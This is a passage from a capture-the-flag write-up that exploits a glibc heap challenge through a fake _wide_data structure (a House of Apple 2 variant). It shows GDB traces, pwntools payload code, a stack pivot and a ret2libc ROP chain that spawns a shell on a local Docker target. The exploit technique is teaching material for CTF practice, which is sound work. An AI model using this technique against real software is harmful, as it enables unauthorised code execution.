0x7fbe10b150e0|+0x0020|+004: 0x00007fbe10982fd0 <_IO_wfile_underflow> -> 0x56415741fa1e0ff3
0x7fbe10b150e8|+0x0028|+005: 0x00007fbe10981840 <_IO_wdefault_uflow> -> 0x158d4855fa1e0ff3
0x7fbe10b150f0|+0x0030|+006: 0x00007fbe10981600 <_IO_wdefault_pbackfail> -> 0x89495741fa1e0ff3
0x7fbe10b150f8|+0x0038|+007: 0x00007fbe10984840 <_IO_wfile_xsputn> -> 0x0fd28548fa1e0ff3
0x7fbe10b15100|+0x0040|+008: 0x00007fbe109892b0 <__GI__IO_file_xsgetn> -> 0x56415741fa1e0ff3
0x7fbe10b15108|+0x0048|+009: 0x00007fbe10983750 <_IO_wfile_seekoff> -> 0x89495741fa1e0ff3
As nobodyisnobody mentioned, we want to call _IO_wfile_underflow
. Although the House of Apple 2 uses _IO_wfile_overflow
, we can try to mix both paths. The relevant code appears in blog.kylebot.net.
If we continue with the execution of _IO_wfile_underflow
we will go to _IO_wdoallocbuf
, that will execute these instructions:
mov rax, QWORD PTR [rax + 0xe0]
call QWORD PTR [rax + 0x68]
In $rax
we have the pointer to _wide_data
, that we control. So, in $rax
we have to put an address so that, in that address plus 0xe0
we can reference to a function that is at an offset of 0x68
. It looks complicated, but it is not.
We can modify the following parameters of the exploit:
create(3, LARGE, WITHOUT_FOOTER, b'D', b'D', b'D', b'D', b'\0' * 0xe0 + p64(heap_addr + 0x789))
# ...
fake._wide_data = heap_addr + 0xf90
And when we get to the critical point, we have the following:
gef> x/i $rip
=> 0x7f652b0a6b94 <__GI__IO_wdoallocbuf+36>: mov rax,QWORD PTR [rax+0xe0]
gef> p/x $rax
$3 = 0x11ccf90
gef> p/x $rax + 0xe0
$4 = 0x11cd070
gef> x/gx $rax + 0xe0
0x11cd070: 0x00000000011cc789
With this, we are pointing the execution to the last chunk that we have allocated. Instead of putting the address that ends at 789
, we can set that address plus 0x68
equal to the next (0x11cd078
), in order to control the call
instruction:
create(3, LARGE, WITHOUT_FOOTER, b'D', b'D', b'D', b'D', b'\0' * 0xe0 + p64(heap_addr + 0x1010) + p64(heap_addr + 0xabc))
Now, when we reach the point of before, we have advanced something else and we already control the call
instruction:
gef> x/i $rip
=> 0x7fa6473d0b94 <__GI__IO_wdoallocbuf+36>: mov rax,QWORD PTR [rax+0xe0]
gef> p/x $rax
$3 = 0x229ef90
gef> p/x $rax + 0xe0
$4 = 0x229f070
gef> x/gx $rax + 0xe0
0x229f070: 0x000000000229f010
gef> p/x 0x000000000229f010 + 0x68
$5 = 0x229f078
gef> x/gx 0x000000000229f010 + 0x68
0x229f078: 0x000000000229eabc
If we continue an instruction, GDB will tell us the call to the function that is about to perform:
------------------------------------------------------------------------------------------------------------------------------------- arguments (guessed) ----
0x229eabc <NO_SYMBOL> (
$rdi = 0x000000000229e6e0 -> 0x3b01010101010101,
$rsi = 0x0000000000000001,
$rdx = 0x0000000000000421,
$rcx = 0x0000000000000000,
$r8 = 0x000000000000000a,
$r9 = 0x0000000000000000
)
Great, with this we have $rip
control, and some control over the registers:
gef> info registers
rax 0x229f010 0x229f010
rbx 0x229e6e0 0x229e6e0
rcx 0x0 0x0
rdx 0x421 0x421
rsi 0x1 0x1
rdi 0x229e6e0 0x229e6e0
rbp 0x7fa647564080 0x7fa647564080 <_IO_wfile_jumps_mmap+128>
rsp 0x7fffd6302c20 0x7fffd6302c20
r8 0xa 0xa
r9 0x0 0x0
r10 0x7fa64750bac0 0x7fa64750bac0
r11 0x246 0x246
r12 0x7fffd6302e28 0x7fffd6302e28
r13 0x401276 0x401276
r14 0x0 0x0
r15 0x7fa6475c0040 0x7fa6475c0040
rip 0x7fa6473d0b9b 0x7fa6473d0b9b <__GI__IO_wdoallocbuf+43>
eflags 0x246 [ PF ZF IF ]
cs 0x33 0x33
ss 0x2b 0x2b
ds 0x0 0x0
es 0x0 0x0
fs 0x0 0x0
gs 0x0 0x0
Getting RCE
At this point, we can try to use one_gadget
, but none of the options works. So, the simplest is trying to use a ROP chain. This, in the heap it is not so simple. But since we have $rip
control and a lot of gadgets available in Glibd, we can use a Stack Pivot:
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 > rop.txt
$ grep ': xchg .sp, .ax ; ret$' rop.txt
0x000000000003653a : xchg esp, eax ; ret
$ grep ': xchg .ax, .sp ; ret$' rop.txt
0x00000000001b5503 : xchg eax, esp ; ret
Any of these two gadgets helps us to change the stack pointer $rsp
to the value of $rax
(a heap address). And we will put a typical ret2libc ROP chain (pop rdi; ret
, address of "/bin/sh"
and a call to system
) in the address pointed to by $rax
:
xchg_eax_esp_ret_addr = glibc.address + 0x1b5503
pop_rdi_ret_addr = glibc.address + 0x2a3e5
rop_chain = p64(pop_rdi_ret_addr)
rop_chain += p64(next(glibc.search(b'/bin/sh')))
rop_chain += p64(glibc.sym.system)
create(3, LARGE, WITHOUT_FOOTER, b'D', b'D', b'D', b'D', p64(0) * 16 + rop_chain + p64(0) * 9 + p64(heap_addr + 0x1010) + p64(xchg_eax_esp_ret_addr))
And with this, we get a local shell (it works 3/4 times):
$ python3 solve.py
[*] './chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './chall': pid 468990
[+] Glibc base address: 0x7f45d92be000
[+] Heap base address: 0x1844000
[*] Switching to interactive mode
$ ls
Dockerfile ctf.xinetd docker-compose.yml flag.txt rop.txt
chall deploy-challenge.sh entrypoint.sh libc.so.6 solve.py
Flag
If we deploy the Docker container to test the exploit remotely, we will see that it also works:
$ python3 solve.py 127.0.0.1 42069
[*] './chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 127.0.0.1 on port 42069: Done
[+] Glibc base address: 0x7fd2c5d49000
[+] Heap base address: 0x1f5c000
[*] Switching to interactive mode
$ hostname
cfdc5a495d67
$ cat /flag.txt
HackOn{f4k3_fl4g_4_t3st1ng}
The full exploit can be found in here: solve.py
.